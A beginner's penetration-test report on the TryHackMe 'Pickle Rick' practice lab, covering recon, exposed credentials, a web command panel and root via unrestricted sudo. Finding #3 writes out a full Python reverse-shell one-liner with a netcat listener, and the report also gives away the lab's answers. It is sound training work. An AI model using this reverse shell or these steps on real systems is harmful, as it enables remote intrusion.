Penetration Test Report

TryHackMe - Pickle Rick (practice)

Prepared by

Ambar Roy

Contact: ambarroy11@gmail.com

Report date: October 21, 2025

Engagement type: Practice / Training pentest (CTF-style)
Scope: Find all 3 secret ingredients in Pickle Rick lab on TryHackMe
Tester: Freelance beginner security practitioner

Contents

Executive Summary

This report summarizes the penetration testing process and results for the TryHackMe *Pickle Rick* lab. The primary goal of the lab was to locate all three secret ingredients hidden on the system.

Summary:

- Environment: Isolated TryHackMe VM
- Goal: Retrieve 3 secret ingredients by exploiting web application and local system vulnerabilities
- Methodology: Reconnaissance → Enumeration → Exploitation → Post-Exploitation
- Key findings: Exposed credentials in web files, web-based command execution panel, reverse shell, and unrestricted sudo allowing root access

1 Scope and Rules of Engagement

Scope

- Target: Pickle Rick VM (TryHackMe)
- IP: 10.201.41.131
- Engagement type: Educational / CTF-style
- Goal: Capture all three secret ingredients hidden on the system

Rules of Engagement

- Testing limited to the assigned VM only
- No Denial of Service or destructive testing performed
- All actions were for learning purposes

2 Methodology

The assessment followed a structured workflow:

1. **Reconnaissance:** Performed port scanning, OS detection, and web source inspection
2. **Enumeration:** Identified web directories and files, discovered exposed credentials
3. **Exploitation:** Accessed web command panel using discovered credentials
4. **Post-Exploitation:** Obtained reverse shell, enumerated files for secret ingredients, escalated privileges to root
5. **Reporting:** Documented findings, commands, and remediation recommendations

Tools Used:

- `nmap` — Service and OS detection
- `gobuster` — Directory enumeration
- Browser inspection (`view-source`) and manual analysis
- Web login portal for command execution

- Python reverse shell Netcat listener

3 Risk Rating Definitions

- **Critical:** Complete system compromise possible (root access)
- **High:** Remote command execution or sensitive information disclosure
- **Medium:** Exposed credentials or configuration issues
- **Low:** Minor information disclosure

4 Findings

Finding #1 — Exposed Credentials in Web Files

Exposed credentials in page source and robots.txt **Risk: Medium**

Affected Asset: 10.201.41.131

Summary:
Initial reconnaissance revealed username and password in web-accessible files.

Details:

- Homepage page source revealed username: `R1ckRul3s`
- `robots.txt` contained password: `Wubbalubbadubdub`
- Port scan confirmed only 22 (SSH) and 80 (HTTP) were open:

```
sudo nmap -A 10.201.41.131
```

- Gobuster directory enumeration identified:

```
/login.php
/portal.php
/assets/
```

- Using the credentials, login to `/login.php` successfully revealed a command execution panel.

Impact: Exposed credentials allowed immediate access to web command panel.

Remediation:

- Remove credentials from public files
- Enforce authentication for sensitive web pages
- Sanitize public directories and metadata

Finding #2 — Web-based Command Execution Panel

Unauthorized command execution through web portal **Risk: High**

Affected Asset: 10.201.41.131

Summary:
Login with exposed credentials provided direct command execution on the server.

Details:
Command executed to view accessible files:

```
ls -l
```

Output:

```
total 32
-rwxr-xr-x 1 ubuntu ubuntu   17 Feb 10  2019 Sup3rS3cretPickl3Ingred.txt
drwxrwxr-x 2 ubuntu ubuntu 4096 Feb 10  2019 assets
```

```
-rwxr-xr-x 1 ubuntu ubuntu   54 Feb 10  2019 clue.txt
-rwxr-xr-x 1 ubuntu ubuntu 1105 Feb 10  2019 denied.php
-rwxrwxrwx 1 ubuntu ubuntu 1062 Feb 10  2019 index.html
-rwxr-xr-x 1 ubuntu ubuntu 1438 Feb 10  2019 login.php
-rwxr-xr-x 1 ubuntu ubuntu 2044 Feb 10  2019 portal.php
-rwxr-xr-x 1 ubuntu ubuntu   17 Feb 10  2019 robots.txt
```

Attempting to read the first ingredient file failed due to permissions:

```
cat Sup3rS3cretPickl3Ingred.txt
# Permission denied
```

Impact: Full remote command execution capability in the web context, allowing further exploitation.

Remediation: Disable shell execution in web interfaces, enforce least privilege, and validate user inputs.

Finding #3 — Reverse Shell and First Two Secret Ingredients

Reverse shell and file enumeration to retrieve first two ingredients **Risk: High**

Affected Asset: 10.201.41.131

Summary:
Obtained interactive shell via Python reverse shell and retrieved first two secret ingredients.

Details:

```
python3 -c 'import␣socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));
os.dup2(s.fileno(),0);␣os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
nc -lvnp 1234
```

Read first ingredient:

```
cat Sup3rS3cretPickl3Ingred.txt
# mr. meeseek hair
```

Read second ingredient by enumerating /home/rick:

```
cat "/home/rick/second␣ingredient"
# 1 jerry tear
```

Result:

- First ingredient: mr. meeseek hair
- Second ingredient: 1 jerry tear

Impact: Sensitive information disclosure via command execution and reverse shell.

Remediation: Restrict file permissions, disable remote command execution, monitor shell activity.

Finding #4 — Privilege Escalation to Root and Third Ingredient

Unrestricted sudo for www-data allowing root access **Risk: Critical**

Affected Asset: Local system — full compromise

Summary:
Webserver user `www-data` had NOPASSWD sudo privileges, allowing full root access and retrieval of the third ingredient.

Details:
Enumerate sudo rights:

```
sudo -l
# User www-data may run (ALL) NOPASSWD: ALL
```

Escalate to root:

```
sudo -i
whoami
# root
cd /root
ls
cat 3rd.txt
# fleeb juice
```

Result: Third ingredient: fleeb juice

Impact: Complete system compromise; critical vulnerability due to unrestricted sudo for a web-facing user.

Remediation: Restrict sudo, enforce least privilege, monitor service accounts, and secure web server user.

Appendices

Appendix A: Commands and Tools Used

- `nmap -A 10.201.41.131`
- `gobuster dir -u http://10.201.41.131 -w /usr/share/dirbuster/wordlists/directory-list-2 -x txt,html,php,zip`
- Browser inspection (`view-source:index.html`)
- Manual interaction with `login.php` command panel
- Python reverse shell Netcat listener

Contact and Notes

Prepared by: Ambar Roy
Contact: ambarroy11@gmail.com

This report documents the educational penetration test on the TryHackMe “Pickle Rick” lab. All actions were performed for training purposes to locate the 3 secret ingredients.